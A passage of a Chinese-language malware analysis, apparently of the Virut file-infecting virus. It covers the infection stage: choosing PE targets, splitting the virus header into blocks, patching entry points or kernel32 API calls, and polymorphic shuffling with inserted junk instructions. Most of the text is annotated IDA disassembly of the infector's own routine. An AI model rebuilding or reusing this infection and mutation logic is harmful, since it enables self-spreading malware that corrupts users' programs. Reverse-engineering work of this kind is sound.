三、感染过程
1)条件判断 是pe文件 不是dll 没有overlay subsystem!= 10 没有被感染
2)对header进行分块:
分块的过程是这样的 先随机产生每个BLOCK应该包含的指令数 然后通过反汇编引擎得到指令的长度 写到
BLOCK_info 在header中有些特殊的地址 比如字符串 以及解密body的随机KEY 当分块到它们时 不能
直接用长度反汇编引擎 因为它们不是指令 所以需要直接给定其长度
对该样本来说:
分块范围是从映射基址到映射基址+2d4,这里数据大小为2d4, 每块最大指令条数为28 最小为8 如果分块数大于7f 则增加最大指令条数进行重新分块
eg007:7FF93001
seg007:7FF93001 loc_7FF93001: ; CODE XREF: infect+BAj
seg007:7FF93001 C6 85 28 40 F3 04+ mov byte ptr ss:(@next_block+1 - 7B05F000h)[ebp], 21h ; '!' ;
seg007:7FF93008 @start_fenkuai: ; CODE XREF: infect+197j
seg007:7FF93008 83 A5 E1 1D F3 04+ and ss:(flag_code_change - 7B05F000h)[ebp], 0
seg007:7FF9300F C6 85 74 18 F3 04+ mov ss:(block_counter - 7B05F000h)[ebp], 1 ; 初始值为1
seg007:7FF93016 8D B5 00 10 F3 04 lea esi, (bubianxing_virut_start - 7B05F000h)[ebp]
seg007:7FF9301C 8D BD 75 18 F3 04 lea edi, (block0.org_NumberOfOpcode - 7B05F000h)[ebp]
seg007:7FF93022 66 83 67 02 00 and [edi+BLOCK_Info.org_offsetStart], 0
seg007:7FF93027
seg007:7FF93027 @next_block: ; CODE XREF: infect+18Cj
seg007:7FF93027 ; DATA XREF: infect:loc_7FF93001w ...
seg007:7FF93027 6A 21 push 21h ; '!'
seg007:7FF93029 58 pop eax
seg007:7FF9302A 66 83 27 00 and [edi+BLOCK_Info.org_NumberOfOpcode], 0
seg007:7FF9302E 66 C7 47 06 00 80 mov [edi+BLOCK_Info.aft_NumberOfOpcode], 8000h
seg007:7FF93034 E8 2A E6 FF FF call random ; 范围是0-0x20
seg007:7FF93039 8D 4A 08 lea ecx, [edx+8] ; edx的值是随机产生的,ecx+8表示该块包含多少条指令
seg007:7FF9303C ecx 为下面循环的次数 即本块包含多少个指令
seg007:7FF9303C
seg007:7FF9303C @random_ins_num_of_block: ; CODE XREF: infect+16Dj
seg007:7FF9303C 51 push ecx
seg007:7FF9303D 8D 85 04 12 F3 04 lea eax, (aJdcbc_1 - 7B05F000h)[ebp] ; "JdcBc" SemaphoreName
seg007:7FF93043 8D 8D 9B 11 F3 04 lea ecx, (word_7FF9019B - 7B05F000h)[ebp] ; 解密body的key
seg007:7FF93049 8D 95 CC 12 F3 04 lea edx, (locret_7FF902CC - 7B05F000h)[ebp]
seg007:7FF9304F 3B F0 cmp esi, eax
seg007:7FF93051 75 08 jnz short loc_7FF9305B
seg007:7FF93053 68 06 00 00 00 push 6
seg007:7FF93058 59 pop ecx ; 越过SemaphoreName
seg007:7FF93059 EB 37 jmp short @update_numofopcode_of_block_descri
seg007:7FF9305B ; ---------------------------------------------------------------------------
seg007:7FF9305B
seg007:7FF9305B loc_7FF9305B: ; CODE XREF: infect+11Cj
seg007:7FF9305B 3B F1 cmp esi, ecx
seg007:7FF9305D 75 05 jnz short loc_7FF93064
seg007:7FF9305F 6A 02 push 2
seg007:7FF93061 59 pop ecx ; 跳过一个7FF9019B处的word
seg007:7FF93062 EB 2E jmp short @update_numofopcode_of_block_descri
seg007:7FF93064 ; ---------------------------------------------------------------------------
seg007:7FF93064
seg007:7FF93064 loc_7FF93064: ; CODE XREF: infect+128j
seg007:7FF93064 3B F2 cmp esi, edx
seg007:7FF93066 75 09 jnz short loc_7FF93071
seg007:7FF93068 6A 05 push 5 ; 越过5 解密第一层的代码 可以和没有去花的相比较
seg007:7FF93068 ; 3902cc 和 00407c83
seg007:7FF9306A C6 47 07 00 mov byte ptr [edi+7], 0
seg007:7FF9306E 59 pop ecx
seg007:7FF9306F EB 21 jmp short @update_numofopcode_of_block_descri
seg007:7FF93071 ; ---------------------------------------------------------------------------
seg007:7FF93071
seg007:7FF93071 loc_7FF93071: ; CODE XREF: infect+131j
seg007:7FF93071 8A 06 mov al, [esi]
seg007:7FF93073 3C E9 cmp al, 0E9h ; '?
seg007:7FF93075 74 0C jz short @is_jmp_call_retn_retnf ; jmp call retn的标志
seg007:7FF93075 ; art_NumberOfOpcode 最高位为1时代表 本块指令变形前是以跳转指令或者返回指令结尾
seg007:7FF93077 3C EB cmp al, 0EBh ; '?
seg007:7FF93079 74 08 jz short @is_jmp_call_retn_retnf ; jmp call retn的标志
seg007:7FF93079 ; art_NumberOfOpcode 最高位为1时代表 本块指令变形前是以跳转指令或者返回指令结尾
seg007:7FF9307B 3C C2 cmp al, 0C2h ; '?
seg007:7FF9307D 74 04 jz short @is_jmp_call_retn_retnf ; jmp call retn的标志
seg007:7FF9307D ; art_NumberOfOpcode 最高位为1时代表 本块指令变形前是以跳转指令或者返回指令结尾
seg007:7FF9307F 3C C3 cmp al, 0C3h ; '?
seg007:7FF93081 75 06 jnz short @not_special_ins ; art_NumberOfOpcode 最高位为0 表示本分块末尾指令不是跳转
seg007:7FF93083
seg007:7FF93083 @is_jmp_call_retn_retnf: ; CODE XREF: infect+140j
seg007:7FF93083 ; infect+144j ...
seg007:7FF93083 C6 47 07 80 mov byte ptr [edi+7], 80h ; '€' ; jmp call retn的标志
seg007:7FF93083 ; art_NumberOfOpcode 最高位为1时代表 本块指令变形前是以跳转指令或者返回指令结尾
seg007:7FF93087 EB 04 jmp short @get_ins_length
seg007:7FF93089 ; ---------------------------------------------------------------------------
seg007:7FF93089
seg007:7FF93089 @not_special_ins: ; CODE XREF: infect+14Cj
seg007:7FF93089 C6 47 07 00 mov byte ptr [edi+7], 0 ; art_NumberOfOpcode 最高位为0 表示本分块末尾指令不是跳转
seg007:7FF9308D
seg007:7FF9308D @get_ins_length: ; CODE XREF: infect+152j
seg007:7FF9308D E8 96 14 00 00 call func_getinslength
seg007:7FF93092
seg007:7FF93092 @update_numofopcode_of_block_descri: ; CODE XREF: infect+124j
seg007:7FF93092 ; infect+12Dj ...
seg007:7FF93092 66 01 0F add [edi+BLOCK_Info.org_NumberOfOpcode], cx
seg007:7FF93095 8D 85 D4 12 F3 04 lea eax, (end_of_bianxing_virutcode - 7B05F000h)[ebp] ; eax 7ff902d4分块到这里结束
seg007:7FF9309B 03 F1 add esi, ecx ; esi = 7ff90000 加上指令长度 esi指向下一条指令
seg007:7FF9309D 3B F0 cmp esi, eax
seg007:7FF9309F 59 pop ecx ; ecx表示本块包含多少字节码
seg007:7FF930A0 73 2F jnb short @fenkuai_over ; 最后一块的描述符
seg007:7FF930A2 E2 98 loop @random_ins_num_of_block ; ecx 随机产生的 表示本块包含多少指令
seg007:7FF930A4 FE 85 74 18 F3 04 inc ss:(block_counter - 7B05F000h)[ebp]
seg007:7FF930AA 80 BD 74 18 F3 04+ cmp ss:(block_counter - 7B05F000h)[ebp], 7Fh ; ''
seg007:7FF930B1 77 13 ja short @inc_max_NumberOfOpcode
seg007:7FF930B3 66 8B 47 02 mov ax, [edi+BLOCK_Info.org_offsetStart] ; edi指向一个结构数组 结构大小为8
seg007:7FF930B3 ; 且第一个数组的第二个成员被设置为0
seg007:7FF930B7 66 03 07 add ax, [edi+BLOCK_Info.org_NumberOfOpcode]
seg007:7FF930BA 83 C7 08 add edi, 8 ; 块描述符大小 8
seg007:7FF930BD 66 89 47 02 mov [edi+BLOCK_Info.org_offsetStart], ax
seg007:7FF930C1 E9 61 FF FF FF jmp @next_block
seg007:7FF930C6 ; ---------------------------------------------------------------------------
seg007:7FF930C6
seg007:7FF930C6 @inc_max_NumberOfOpcode: ; CODE XREF: infect+17Cj
seg007:7FF930C6 FE 85 28 40 F3 04 inc byte ptr ss:(@next_block+1 - 7B05F000h)[ebp]
seg007:7FF930CC E9 37 FF FF FF jmp @start_fenkuai
seg007:7FF930D1 ; ---------------------------------------------------------------------------
seg007:7FF930D1
seg007:7FF930D1 @fenkuai_over: ; CODE XREF: infect+16Bj
seg007:7FF930D1 83 C7 08 add edi, 8 ; 最后一块的描述符
seg007:7FF930D4 66 C7 07 98 48 mov [edi+BLOCK_Info.org_NumberOfOpcode], 4898h
seg007:7FF930D9 66 C7 47 02 D4 02 mov [edi+BLOCK_Info.org_offsetStart], 2D4h
seg007:7FF930DF 66 C7 47 06 98 C8 mov [edi+BLOCK_Info.aft_NumberOfOpcode], 0C898h
seg007:7FF930E5 FE 85 74 18 F3 04 inc ss:(block_counter - 7B05F000h)[ebp]
3)感染方式
是修改入口还是patch api调用
patch api从入口开始搜索 e8 然后去call的目的地址判断吧是否是ff25
或者直接搜索 ff15 而且api是kernel32导出的
因为map的时候是直接map的 没有根据节表来map 所以这里访问map的地址的时候 需要修正一下。
代码就不贴了
4)变形 用花指令淹没真实指令
基本过程是 对于处理的第一个块 control_flag决定是处理最后一个快还是随机一个数 通过这个数 确定 先复制哪个BLOCK 剩下的块都是随机一个数 通过这个数 确定先复制哪个BLOCK
循环 直到复制完毕 复制的过程中通过随机数确定是否插入花指令
复制完后如果 BLOCK 不是以跳转指令或者返回指令 就增加一个跳转指令 可以通过跳转指令连接在一起 变形前的BLOCK的执行顺序和变形后
的执行顺序是一样的
插花有一个结构体 其中flag控制插入什么样的花指令 这个flag跟变形前的指令偏移有关
这个flag的作用是决定可以插入什么样的花指令 原则是不影响真实指令的结果
chahua_struct_info
{
+0 word offset 相对于old_header(变形前头部)开始的offset
+2 word flag 控制插入什么花指令
}
seg007:7FF9330D @infect_by_change_oep: ; CODE XREF: infect+276j
seg007:7FF9330D ; infect+280j ...
seg007:7FF9330D 8B BD 9A 60 F3 04 mov edi, ss:(virut_start_in_file_off - 7B05F000h)[ebp]
seg007:7FF93313
seg007:7FF93313 loc_7FF93313: ; CODE XREF: infect+24Ej
seg007:7FF93313 0F B6 8D 74 18 F3+ movzx ecx, ss:(block_counter - 7B05F000h)[ebp] ; block_counter = 9
seg007:7FF9331A F7 85 1A 3E F3 04+ test ss:(control_flag - 7B05F000h)[ebp], 100h ; 决定了变形第一个块是随机选取的 还是最后一个块
seg007:7FF93324 74 05 jz short @next_block_bianxing ; block_num
seg007:7FF93326 8D 41 FF lea eax, [ecx-1] ; eax = 8 block_num - 1
seg007:7FF93329 EB 1A jmp short @found_unhandled_block
seg007:7FF9332B ; ---------------------------------------------------------------------------
seg007:7FF9332B
seg007:7FF9332B @next_block_bianxing: ; CODE XREF: infect+3EFj
seg007:7FF9332B ; infect+696j
seg007:7FF9332B 8B C1 mov eax, ecx ; block_num
seg007:7FF9332D E8 31 E3 FF FF call random ; 随机0~eax-1
seg007:7FF93332 33 C0 xor eax, eax ; 随机0~block_num-1这里 开始乱序 排列指令块
seg007:7FF93334
seg007:7FF93334 loc_7FF93334: ; CODE XREF: infect+40Ej
seg007:7FF93334 0F A3 85 8A 60 F3+ bt ss:(flag_array_bian_xing_block - 7B05F000h)[ebp], eax
seg007:7FF9333B 72 04 jb short loc_7FF93341 ; 位串的偏移位置的bit为1时 表示该指令块已经被加花了 jb则跳
seg007:7FF9333D FE CA dec dl ; dl 为上面随机产生的值
seg007:7FF9333F 78 04 js short @found_unhandled_block
seg007:7FF93341
seg007:7FF93341 loc_7FF93341: ; CODE XREF: infect+406j
seg007:7FF93341 FE C0 inc al
seg007:7FF93343 EB EF jmp short loc_7FF93334 ; 下标从0开始 找到第dl个未处理的指令块
seg007:7FF93345
seg007:7FF93345 @found_unhandled_block: ; CODE XREF: infect+3F4j
seg007:7FF93345 ; infect+40Aj
seg007:7FF93345 83 A5 EA 61 F3 04+ and ss:(start_va_of_added_hua_ins - 7B05F000h)[ebp], 0 ; 如果插花 表示将要添加花指令的地址 否则为0
seg007:7FF9334C 8B D7 mov edx, edi ; 处理完的指令块的结束地址
seg007:7FF9334E 0F AB 85 8A 60 F3+ bts ss:(flag_array_bian_xing_block - 7B05F000h)[ebp], eax ; 置位flag_array_bian_xing_block对应的BIT 表示该指令块已被处理过
seg007:7FF9334E 04 ; bts指令跟位偏移值从位串中取一位放入CF中,然后将位串的该位置1
seg007:7FF9334E ;
seg007:7FF9334E ; 将al对应的位组置1
seg007:7FF93355 2B 95 9A 60 F3 04 sub edx, ss:(virut_start_in_file_off - 7B05F000h)[ebp] ; 获取偏移
seg007:7FF9335B 51 push ecx ; block_num 入栈
seg007:7FF9335C 66 89 94 C5 79 18+ mov ss:(block0.aft_offsetStart - 7B05F000h)[ebp+eax*8], dx ; dx为offset
seg007:7FF9335C F3 04 ;
seg007:7FF9335C ; dx为当前块相对于3a0600的offset
seg007:7FF93364 0F B7 B4 C5 77 18+ movzx esi, ss:(block0.org_offsetStart - 7B05F000h)[ebp+eax*8] ; 取变形前的offset
seg007:7FF9336C 0F B7 8C C5 75 18+ movzx ecx, word ptr ss:(block0.org_NumberOfOpcode - 7B05F000h)[ebp+eax*8] ; 取块大小
seg007:7FF93374 81 FE D4 02 00 00 cmp esi, 2D4h ; 判断是否是最后一块 最后一块是用来描述body的
seg007:7FF93374 ;
seg007:7FF93374 ; 2d4是变形前HEADER的大小
seg007:7FF9337A 8D B4 35 00 10 F3+ lea esi, (bubianxing_virut_start - 7B05F000h)[ebp+esi] ; esi = 7ff90000 + o_NumberOfOpcode_before
seg007:7FF9337A 04 ; 本块在virut变形前的起始地址
seg007:7FF93381 75 1B jnz short @jixu_bianxing_next_ins_of_current_block ; ecx = 当前块的还有多少个opcode要处理
seg007:7FF93383 C1 E9 02 shr ecx, 2 ; 最后一块的描述结构为
seg007:7FF93383 ; 7FF908B5 98 48 D4 02 00 00 98 C8 楬?..樔
seg007:7FF93383 ; ecx = 4898
seg007:7FF93386 89 95 DD 1D F3 04 mov ss:(dword_7FF90DDD_value_is_4898 - 7B05F000h)[ebp], edx
seg007:7FF9338C F3 A5 rep movsd ; 复制body到宿主中去
seg007:7FF9338C ; 7ff902d4 -> 3a0600 size 4898
seg007:7FF9338C ; edi = 映射基址+感染节的pointertorawdata+感染节的sizeofrawdata
seg007:7FF9338C ;
seg007:7FF9338C ;
seg007:7FF9338E 83 67 FC 00 and dword ptr [edi-4], 0 ; edi = 3a4e98 之前的值是
seg007:7FF9338E ; ds:[003A4E94]=7C812B8D (kernel32.CreateSemaphoreA)
seg007:7FF9338E ;
seg007:7FF93392 83 A7 9D C6 FF FF+ and dword ptr [edi-3963h], 0 ; 3a1535 原先的值是closehandle的地址
seg007:7FF93399 E9 13 02 00 00 jmp @finished_this_block_bianxing ; ecx = block_num = 9
seg007:7FF9339E ; ---------------------------------------------------------------------------
seg007:7FF9339E
seg007:7FF9339E @jixu_bianxing_next_ins_of_current_block:
seg007:7FF9339E ; CODE XREF: infect+44Cj
seg007:7FF9339E ; infect+677j
seg007:7FF9339E 85 C9 test ecx, ecx ; ecx = 当前块的还有多少个opcode要处理
seg007:7FF933A0 0F 84 0B 02 00 00 jz @finished_this_block_bianxing ; 指令块处理完则跳
seg007:7FF933A6 51 push ecx ; 还需要处理的opcode数目
seg007:7FF933A6 ; block.o_NumberOfOpcode_before
seg007:7FF933A7 50 push eax ; 指令块结构数组的 下标
seg007:7FF933A7 ; eax = 前面产生的随机值 也是快的序号
seg007:7FF933A8 B0 08 mov al, 8
seg007:7FF933AA E8 B4 E2 FF FF call random ; 随机生成0-7
seg007:7FF933AF F7 85 1A 3E F3 04+ test ss:(control_flag - 7B05F000h)[ebp], 40h
seg007:7FF933B9 74 04 jz short loc_7FF933BF ; 如果标志含40 则不变形
seg007:7FF933BB B1 14 mov cl, 14h ; 没有跳则cl设置的更大 大于上面随机的最大值 不可能产生花指令
seg007:7FF933BD EB 02 jmp short loc_7FF933C1 ; 随机产生的数大于等于cl则跳过去 对指令进行变形
seg007:7FF933BF ; ---------------------------------------------------------------------------
seg007:7FF933BF
seg007:7FF933BF loc_7FF933BF: ; CODE XREF: infect+484j
seg007:7FF933BF B1 05 mov cl, 5
seg007:7FF933C1
seg007:7FF933C1 loc_7FF933C1: ; CODE XREF: infect+488j
seg007:7FF933C1 3A D1 cmp dl, cl ; 随机产生的数大于等于cl则跳过去 对指令进行变形
seg007:7FF933C3 0F 83 5F 01 00 00 jnb @chahua ;
seg007:7FF933C3 ; edi指向的要添加花指令的地址
seg007:7FF933C9 随机数小于5 则清零 以前存放的是拷贝的结束地址
seg007:7FF933C9
seg007:7FF933C9 @buchahua: ; 如果插花 表示将要添加花指令的地址 否则为0
seg007:7FF933C9 83 A5 EA 61 F3 04+ and ss:(start_va_of_added_hua_ins - 7B05F000h)[ebp], 0
seg007:7FF933D0 8B C6 mov eax, esi ; esi = 7ff90000+org_offsetStart
seg007:7FF933D0 ; 每循环一次 esi则指向该块的下一条指令
seg007:7FF933D2 2B C5 sub eax, ebp ; ebp = 7B05F000 重定位的偏移
seg007:7FF933D4 3D 04 12 F3 04 cmp eax, 4F31204h ; 3个特殊点
seg007:7FF933D9 75 0B jnz short @not_zifuchuan ; 7ff90204 SemaphoreName
seg007:7FF933D9 ;
seg007:7FF933DB 68 06 00 00 00 push 6 ; 略过SemaphoreName
seg007:7FF933E0 59 pop ecx
seg007:7FF933E1 E9 31 01 00 00 jmp loc_7FF93517
seg007:7FF933E6 ; ---------------------------------------------------------------------------
seg007:7FF933E6
seg007:7FF933E6 @not_zifuchuan: ; CODE XREF: infect+4A4j
seg007:7FF933E6 3D 9B 11 F3 04 cmp eax, 4F3119Bh ; 7ff9019b
seg007:7FF933EB 75 08 jnz short loc_7FF933F5
seg007:7FF933ED 6A 02 push 2 ; 越过解密body的密钥word
seg007:7FF933EF 59 pop ecx
seg007:7FF933F0 E9 22 01 00 00 jmp loc_7FF93517
seg007:7FF933F5 ; ---------------------------------------------------------------------------
seg007:7FF933F5
seg007:7FF933F5 loc_7FF933F5: ; CODE XREF: infect+4B6j
seg007:7FF933F5 3D CC 12 F3 04 cmp eax, 4F312CCh ; 7ff902cc
seg007:7FF933FA 75 08 jnz short loc_7FF93404 ; 是否找到导入kernel的函数
seg007:7FF933FC 6A 05 push 5 ; 越过5个byte 不知道什么东西
seg007:7FF933FE 59 pop ecx
seg007:7FF933FF E9 13 01 00 00 jmp loc_7FF93517
seg007:7FF93404 ; ---------------------------------------------------------------------------
seg007:7FF93404
seg007:7FF93404 loc_7FF93404: ; CODE XREF: infect+4C5j
seg007:7FF93404 80 BD CC 60 F3 04+ cmp ss:(found_api_import - 7B05F000h)[ebp], 0FFh ; 是否找到导入kernel的函数
seg007:7FF9340B 74 78 jz short @no_found ; 跳了
seg007:7FF9340D 3D EC 10 F3 04 cmp eax, 4F310ECh ; 7ff900ec
seg007:7FF93412 72 71 jb short @no_found
seg007:7FF93414 3D F0 10 F3 04 cmp eax, 4F310F0h ; 7FF900F0
seg007:7FF93419 73 6A jnb short @no_found
seg007:7FF9341B 8B D7 mov edx, edi ; edx = edi 当前要插入指令的地址 当当前处理点来到 7fff900ec
seg007:7FF9341D 68 04 00 00 00 push 4
seg007:7FF93422 8D BD E5 1D F3 04 lea edi, (code_change - 7B05F000h)[ebp] ; 要替换回来的指令 RVA virut感染后
seg007:7FF93422 ; 此处的代码会变 感染前是Fpush [esp+20h+arg_2C] 4字节
seg007:7FF93422 ; 感染后是push dword ptr [402058]
seg007:7FF93422 ; 变为6字节
seg007:7FF93428 59 pop ecx ; ecx = 4
seg007:7FF93429 8A 06 mov al, [esi] ; al = byte(7ff900ec)
seg007:7FF9342B F3 A4 rep movsb ; 7ff900ec -> 7ff90de5 4byte
seg007:7FF9342D 8B FA mov edi, edx
seg007:7FF9342F AA stosb ; 写入7ff900ec的第一个操作码 到edi
seg007:7FF93430 B0 35 mov al, 35h ; '5'
seg007:7FF93432 2B 95 9A 60 F3 04 sub edx, ss:(virut_start_in_file_off - 7B05F000h)[ebp]
seg007:7FF93438 AA stosb ; 写入35 到edi
seg007:7FF93439 68 04 00 00 00 push 4
seg007:7FF9343E 8B 85 BE 60 F3 04 mov eax, ss:(found_api_address - 7B05F000h)[ebp]
seg007:7FF93444 3B 95 DD 1D F3 04 cmp edx, ss:(dword_7FF90DDD_value_is_4898 - 7B05F000h)[ebp]
seg007:7FF9344A 76 06 jbe short loc_7FF93452
seg007:7FF9344C 81 EA 98 48 00 00 sub edx, 4898h
seg007:7FF93452
seg007:7FF93452 loc_7FF93452: ; CODE XREF: infect+515j
seg007:7FF93452 59 pop ecx
seg007:7FF93453 AB stosd ; 写入patch iat的dword 为了其感染后的代码能够获取kernel32的空间
seg007:7FF93453 ; 修改为
seg007:7FF93453 ;
seg007:7FF93453 ; 003A518E FF35 58204000 push dword ptr [402058]
seg007:7FF93453 ;
seg007:7FF93453 ; 00402058是iat地址
seg007:7FF93454 89 95 E1 1D F3 04 mov ss:(flag_code_change - 7B05F000h)[ebp], edx ; 修改为 push dword ptr【】的offset
seg007:7FF9345A
seg007:7FF9345A loc_7FF9345A: ; CODE XREF: infect+52Dj
seg007:7FF9345A 0F B3 95 75 1C F3+ btr ss:(flag_array - 7B05F000h)[ebp], edx ; 位测试为1的则是垃圾指令
seg007:7FF93461 42 inc edx
seg007:7FF93462 E2 F6 loop loc_7FF9345A
seg007:7FF93464 8B 04 24 mov eax, [esp]
seg007:7FF93467 66 81 84 C5 7B 18+ add ss:(block0.aft_NumberOfOpcode - 7B05F000h)[ebp+eax*8], 4
seg007:7FF93471 81 6C 24 04 04 00+ sub dword ptr [esp+4], 4 ; 指令条数 - 4
seg007:7FF93479 B1 02 mov cl, 2 ; 变形后的长度 增加2
seg007:7FF9347B E9 F5 00 00 00 jmp loc_7FF93575 ; 修改指令为bts
seg007:7FF9347B ; END OF FUNCTION CHUNK FOR infect ; 使7ff935a0处的指令变为bts
seg007:7FF93480 ; ---------------------------------------------------------------------------
seg007:7FF93480 E9 92 00 00 00 jmp loc_7FF93517
seg007:7FF93485 ; ---------------------------------------------------------------------------
seg007:7FF93485 ; START OF FUNCTION CHUNK FOR infect
seg007:7FF93485
seg007:7FF93485 @no_found: ; CODE XREF: infect+4D6j
seg007:7FF93485 ; infect+4DDj ...
seg007:7FF93485 3D B5 10 F3 04 cmp eax, 4F310B5h ; 7ff900b5 返回到host的地址
seg007:7FF9348A 0F 85 82 00 00 00 jnz @copy_no_added_hua
seg007:7FF93490 80 BD CC 60 F3 04+ cmp ss:(found_api_import - 7B05F000h)[ebp], 0 ; ff没找到 0找到 是否找到导入kernel的函数
seg007:7FF93497 72 79 jb short @copy_no_added_hua
seg007:7FF93499 80 BD CC 60 F3 04+ cmp ss:(found_api_import - 7B05F000h)[ebp], 2 ; ff没找到 0找到 是否找到导入kernel的函数
seg007:7FF934A0 73 70 jnb short @copy_no_added_hua
seg007:7FF934A2 80 BD CC 60 F3 04+ cmp ss:(found_api_import - 7B05F000h)[ebp], 0 ; ff没找到 0找到 是否找到导入kernel的函数
seg007:7FF934A9 75 06 jnz short loc_7FF934B1
seg007:7FF934AB 89 BD CE 60 F3 04 mov ss:(va_when_handle_address_ret_to_host - 7B05F000h)[ebp], edi ; 当要处理的指令时返回到宿主时的va
seg007:7FF934B1
seg007:7FF934B1 loc_7FF934B1: ; CODE XREF: infect+574j
seg007:7FF934B1 0F B6 85 CD 60 F3+ movzx eax, ss:(random_0_or_1 - 7B05F000h)[ebp] ; 7FF93307 产生的随机值 0或者1
seg007:7FF934B8 6A 07 push 7
seg007:7FF934BA 6B C0 03 imul eax, 3 ; eax = 0 或者3
seg007:7FF934BD 59 pop ecx ; ecx = 7
seg007:7FF934BE 8B 95 BA 60 F3 04 mov edx, ss:(infectedfile_eop - 7B05F000h)[ebp]
seg007:7FF934C4 80 BD CC 60 F3 04+ cmp ss:(found_api_import - 7B05F000h)[ebp], 1 ; ff没找到 0找到 是否找到导入kernel的函数
seg007:7FF934CB 75 05 jnz short loc_7FF934D2 ; ecx = 7 或者a
seg007:7FF934CD 83 C2 04 add edx, 4
seg007:7FF934D0 2B D0 sub edx, eax
seg007:7FF934D2
seg007:7FF934D2 loc_7FF934D2: ; CODE XREF: infect+596j
seg007:7FF934D2 03 C8 add ecx, eax ; ecx = 7 或者a
seg007:7FF934D4 B0 C6 mov al, 0C6h ; '?
seg007:7FF934D6 02 85 CD 60 F3 04 add al, ss:(random_0_or_1 - 7B05F000h)[ebp] ; 7FF93307 产生的随机值 0或者1
seg007:7FF934DC AA stosb ; 存入c6 或者c7
seg007:7FF934DD B0 05 mov al, 5
seg007:7FF934DF AA stosb
seg007:7FF934E0 8B C2 mov eax, edx
seg007:7FF934E2 03 43 34 add eax, [ebx+S_PE_HEADER.base_of_image]
seg007:7FF934E5 AB stosd
seg007:7FF934E6 03 95 A6 60 F3 04 add edx, ss:(pointertorawdata_Jian_virtualaddress - 7B05F000h)[ebp]
seg007:7FF934EC 03 95 4E 60 F3 04 add edx, ss:(hmapview_infected_file - 7B05F000h)[ebp] ; edx = 找到的ff15 或者ff25的va in map
seg007:7FF934F2 8B 02 mov eax, [edx]
seg007:7FF934F4 80 BD CD 60 F3 04+ cmp ss:(random_0_or_1 - 7B05F000h)[ebp], 0 ; 7FF93307 产生的随机值 0或者1
seg007:7FF934FB 75 03 jnz short loc_7FF93500
seg007:7FF934FD AA stosb
seg007:7FF934FE EB 01 jmp short loc_7FF93501 ; 变成这样:
seg007:7FF934FE ; 003A4FAF C705 00104000 F>mov dword ptr [401000], 205815FF
seg007:7FF934FE ;
seg007:7FF934FE ;
seg007:7FF93500 ; ---------------------------------------------------------------------------
seg007:7FF93500
seg007:7FF93500 loc_7FF93500: ; CODE XREF: infect+5C6j
seg007:7FF93500 AB stosd
seg007:7FF93501
seg007:7FF93501 loc_7FF93501: ; CODE XREF: infect+5C9j
seg007:7FF93501 FE 85 CC 60 F3 04 inc ss:(found_api_import - 7B05F000h)[ebp] ; ff没找到 0找到 是否找到导入kernel的函数
seg007:7FF93507 80 B5 CD 60 F3 04+ xor ss:(random_0_or_1 - 7B05F000h)[ebp], 1 ; 7FF93307 产生的随机值 0或者1
seg007:7FF9350E EB 65 jmp short loc_7FF93575 ; 修改指令为bts
seg007:7FF9350E ; END OF FUNCTION CHUNK FOR infect ; 使7ff935a0处的指令变为bts
seg007:7FF93510 ; ---------------------------------------------------------------------------
seg007:7FF93510 EB 05 jmp short loc_7FF93517
seg007:7FF93512 ; ---------------------------------------------------------------------------
seg007:7FF93512 ; START OF FUNCTION CHUNK FOR infect
seg007:7FF93512
seg007:7FF93512 @copy_no_added_hua: ; CODE XREF: infect+555j
seg007:7FF93512 ; infect+562j ...
seg007:7FF93512 E8 11 10 00 00 call func_getinslength
seg007:7FF93517
seg007:7FF93517 loc_7FF93517: ; CODE XREF: infect+4ACj
seg007:7FF93517 ; infect+4BBj ...
seg007:7FF93517 C6 85 A1 45 F3 04+ mov byte ptr ss:(@set_junkcode_flag+1 - 7B05F000h)[ebp], 0B3h ; '? ; 使7ff935a0处的指令变为btr
seg007:7FF9351E 51 push ecx ; ecx 为原始指令长度
seg007:7FF9351F 29 4C 24 08 sub [esp+8], ecx ; org_offsetStart减去当前esi指向的原始指令长度
seg007:7FF93523 F3 A4 rep movsb ; 拷贝原始指令 ecx 为原始指令长度
seg007:7FF93525 59 pop ecx
seg007:7FF93526 EB 54 jmp short @update_block_descript ; 表处理的当前块的序号
seg007:7FF93528 ; ---------------------------------------------------------------------------
seg007:7FF93528
seg007:7FF93528 @chahua: ; CODE XREF: infect+48Ej
seg007:7FF93528 ; infect+62Cj
seg007:7FF93528 57 push edi ;
seg007:7FF93528 ; edi指向的要添加花指令的地址
seg007:7FF93529 E8 F2 F3 FF FF call func_chahua
seg007:7FF9352E 8B CF mov ecx, edi ; ebx = 003A0080,ecx = edi = 003A4E9E 插花指令的下一条地址
seg007:7FF93530 2B 0C 24 sub ecx, [esp] ; ecx 生成花指令的长度
seg007:7FF93533 0B C9 or ecx, ecx
seg007:7FF93535 74 2C jz short @hua_is_ok ; 刚刚写入花指令的起始va
seg007:7FF93537 83 BD EA 61 F3 04+ cmp ss:(start_va_of_added_hua_ins - 7B05F000h)[ebp], 0 ; 如果为0 表示第一次插花 不用 判断是否重复
seg007:7FF9353E 74 23 jz short @hua_is_ok ; 刚刚写入花指令的起始va
seg007:7FF93540 39 8D EE 61 F3 04 cmp ss:(lengthof_hua_opcode - 7B05F000h)[ebp], ecx ; lengthof_hua_opcode上一次产生花指令的长度
seg007:7FF93546 75 1B jnz short @hua_is_ok ; 刚刚写入花指令的起始va
seg007:7FF93548 56 push esi
seg007:7FF93549 57 push edi
seg007:7FF9354A 8B B5 EA 61 F3 04 mov esi, ss:(start_va_of_added_hua_ins - 7B05F000h)[ebp] ; 如果插花 表示将要添加花指令的地址 否则为0
seg007:7FF93550 8B 7C 24 08 mov edi, [esp+8]
seg007:7FF93554 F3 A6 repe cmpsb
seg007:7FF93556 5F pop edi
seg007:7FF93557 5E pop esi
seg007:7FF93558 8B 8D EE 61 F3 04 mov ecx, ss:(lengthof_hua_opcode - 7B05F000h)[ebp]
seg007:7FF9355E 75 03 jnz short @hua_is_ok ; 检测刚刚产生的花指令和上一次产生的花指令是否重复
seg007:7FF93560 5F pop edi
seg007:7FF93561 EB C5 jmp short @chahua ;
seg007:7FF93561 ; edi指向的要添加花指令的地址
seg007:7FF93563 ; ---------------------------------------------------------------------------
seg007:7FF93563
seg007:7FF93563 @hua_is_ok: ; CODE XREF: infect+600j
seg007:7FF93563 ; infect+609j ...
seg007:7FF93563 8F 85 EA 61 F3 04 pop ss:(start_va_of_added_hua_ins - 7B05F000h)[ebp] ; 刚刚写入花指令的起始va
seg007:7FF93569 89 8D EE 61 F3 04 mov ss:(lengthof_hua_opcode - 7B05F000h)[ebp], ecx ; 插花的长度
seg007:7FF9356F 29 8D 9E 60 F3 04 sub ss:(number_of_chahua - 7B05F000h)[ebp], ecx ; 该块插入花指令后 加上原来指令的总长度
seg007:7FF93575
